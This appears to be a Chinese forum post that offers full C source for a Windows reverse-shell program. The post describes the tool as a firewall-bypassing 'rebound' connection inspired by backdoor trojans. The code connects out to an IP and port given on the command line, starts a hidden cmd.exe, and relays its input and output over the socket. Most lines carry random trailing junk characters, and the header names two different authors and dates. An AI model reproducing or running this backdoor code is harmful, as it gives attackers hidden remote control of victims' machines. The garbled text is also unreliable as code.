这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Z,RzN5eN
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/* ============================== 19&<|qTz
Rebound port in Windows NT )LdP5z-
By wind,2006/7 %@wJ`F2a_
===============================*/ )jU)_To
#include A'j;\
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#include 52SaKA[
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#pragma comment(lib,"wsock32.lib") a;rdQ>
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void OutputShell();
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SOCKET sClient; |2?'9<
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; QP@%(]f G
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void main(int argc,char **argv) @E^~$-J5j
{ ~;QvWS
WSADATA stWsaData; o]+z)5zC
int nRet; 3[\iQ*d }B
SOCKADDR_IN stSaiClient,stSaiServer; J{l1nHQZSu
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if(argc != 3) +vYoB$!
{ u}>#Eb
printf("Useage:\n\rRebound DestIP DestPort\n"); |S_T^'<W
return; 2VF%@p
} B268e
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WSAStartup(MAKEWORD(2,2),&stWsaData); ^@I
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); IC#>X5
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stSaiClient.sin_family = AF_INET; P7J>+cm
stSaiClient.sin_port = htons(0); $"`- ^
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 3!3xCO
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) $k|g"9
{ J1/?JfF
printf("Bind Socket Failed!\n"); BHd&yIyI
return; k]W[`
} aiQ>xen5C5
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stSaiServer.sin_family = AF_INET; 9iXeBC
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); G3{Q"^S"
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ,/YF-L$(t
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ^g*pGrl#
{ il}%7b-
printf("Connect Error!"); <DMl<KZ
return; vh"R'o
} *Nw&_<\9Q
OutputShell(); W!%]_I!&K
} ` BDLW%aL
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void OutputShell() ^:K3vC[h;c
{ un shH <
char szBuff[1024]; So{x]x:f
SECURITY_ATTRIBUTES stSecurityAttributes; 'Hc-~l>D
OSVERSIONINFO stOsversionInfo; [r3 !\HI7x
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; D5$wTI
STARTUPINFO stStartupInfo; Q<z_/j9
char *szShell; ,%n\=
PROCESS_INFORMATION stProcessInformation; E_Im^a
unsigned long lBytesRead; U3 */v4/
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); qgE 73.!`6
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 4S,`bnmB
stSecurityAttributes.lpSecurityDescriptor = 0; ^cV;~&|.Xk
stSecurityAttributes.bInheritHandle = TRUE; $>*3/H
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); (2$(
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); I{
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); tDSJpW'd
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (]b!{kS
stStartupInfo.wShowWindow = SW_HIDE; 9w"h
stStartupInfo.hStdInput = hReadPipe; MA;1;uI,
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; U2{ dN>
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GetVersionEx(&stOsversionInfo); =NOH:#iQ
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switch(stOsversionInfo.dwPlatformId) i\1TOP|h
{ T~QWRBO
case 1: 9!T[Z/}T
szShell = "command.com"; P6!jRC"52'
break; X'%E\/~u
default: &L#UGp$,
szShell = "cmd.exe"; .zS?9MP
break; 9U{a{~b
} ki [UV
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); g$HwxA9Gp/
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send(sClient,szMsg,77,0); @b"t]#V(E
while(1) ZPiq-q
{ }xBc0gr
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); MHSs!^/g5
if(lBytesRead) tYZ[68
{ }Mo=PWI1?
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); _Xn qb+
send(sClient,szBuff,lBytesRead,0); Is]aj-#r
} ]GN7+8l
else 9l}FU$
{ t0z!DOODZP
lBytesRead=recv(sClient,szBuff,1024,0); ~(x;5{
if(lBytesRead<=0) break; [E+$?a=
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); HHiT]S9
} W- i&sUgy
} |3F02
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return; 7w
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}